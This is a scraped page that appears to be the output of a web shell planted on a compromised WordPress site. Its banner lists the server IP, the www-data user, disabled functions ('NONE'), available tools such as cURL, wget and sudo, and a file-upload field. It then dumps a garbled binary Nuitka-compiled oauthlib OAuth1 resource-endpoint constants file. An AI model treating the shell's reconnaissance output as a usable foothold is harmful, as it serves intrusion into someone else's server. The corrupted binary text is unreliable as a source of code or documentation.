Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /nuitka/eggshell.build/ |
Upload File : |
�� �_create_request�.��
�errors�.�� �OAuth1Error�.�� �N��.�� �_check_transport_security�.�� �_check_mandatory_parameters�.�� �resource_owner_key�.�� �request_validator�.�� �check_access_token�.�� �validate_timestamp_and_nonce�.�� �
client_key�.��
� timestamp�.�� �nonce�.�� �access_token���.�� �validate_client_key�.�� �dummy_client�.�� �validate_access_token�.�� �dummy_access_token�.�� �validate_realms�.�� �uri�.�� h�realms���.�� �_check_signature�.�� �
validator_log�.��
�client�.�� �resource_owner�.�� �realm�.��
� signature�.�� �log�.�� �info�.��, �&[Failure] request verification failed.���.�� �Valid client: %s�.�� �Valid token: %s�.�� �Valid realm: %s�.�� �Valid signature: %s�.��� X� Create a request token response, with a new request token if valid.
:param uri: The full URI of the token request.
:param http_method: A valid HTTP verb, i.e. GET, POST, PUT, HEAD, etc.
:param body: The request body as a string.
:param headers: The request headers as a dict.
:param realms: A list of realms the resource is protected under.
This will be supplied to the ``validate_realms``
method of the request validator.
:returns: A tuple of 2 elements.
1. True if valid, False otherwise.
2. An oauthlib.common.Request object.
�.��� ��
oauthlib.oauth1.rfc5849.endpoints.resource
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This module is an implementation of the resource protection provider logic of
OAuth 1.0 RFC 5849.
�.�� �__doc__�.��P �L/usr/lib/python3/dist-packages/oauthlib/oauth1/rfc5849/endpoints/resource.py�.�� �__file__�.�� �__spec__�.��
�origin�.�� �has_location�.�� �
__cached__�.�� �absolute_import�.�� �unicode_literals�.�� �logging�.�K .�� � �.�� h��.�K.�� �base�.�� �BaseEndpoint���.�K.�h4.��
� getLogger�.��0 �*oauthlib.oauth1.rfc5849.endpoints.resource���.��
� metaclass�.�� �__prepare__�.�� �ResourceEndpoint�.�� �__getitem__�.��2 �.%s.__prepare__() must return a mapping, not %s�.�� �__name__�.�� �<metaclass>�.��. �*oauthlib.oauth1.rfc5849.endpoints.resource�.�� �
__module__�.��( X! An endpoint responsible for protecting resources.
Typical use is to instantiate with a request validator and invoke the
``validate_protected_resource_request`` in a decorator around a view
function. If the request is valid, invoke and return the response of the
view. If invalid create and return an error response directly from the
decorator.
See :doc:`/oauth1/validator` for details on which validator methods to implement
for this endpoint.
An example decorator::
from functools import wraps
from your_validator import your_validator
from oauthlib.oauth1 import ResourceEndpoint
endpoint = ResourceEndpoint(your_validator)
def require_oauth(realms=None):
def decorator(f):
@wraps(f)
def wrapper(request, *args, **kwargs):
v, r = provider.validate_protected_resource_request(
request.url,
http_method=request.method,
body=request.data,
headers=request.headers,
realms=realms or [])
if v:
return f(*args, **kwargs)
else:
return abort(403)
�.�� �__qualname__�.��
(�GET�NNNt�.��'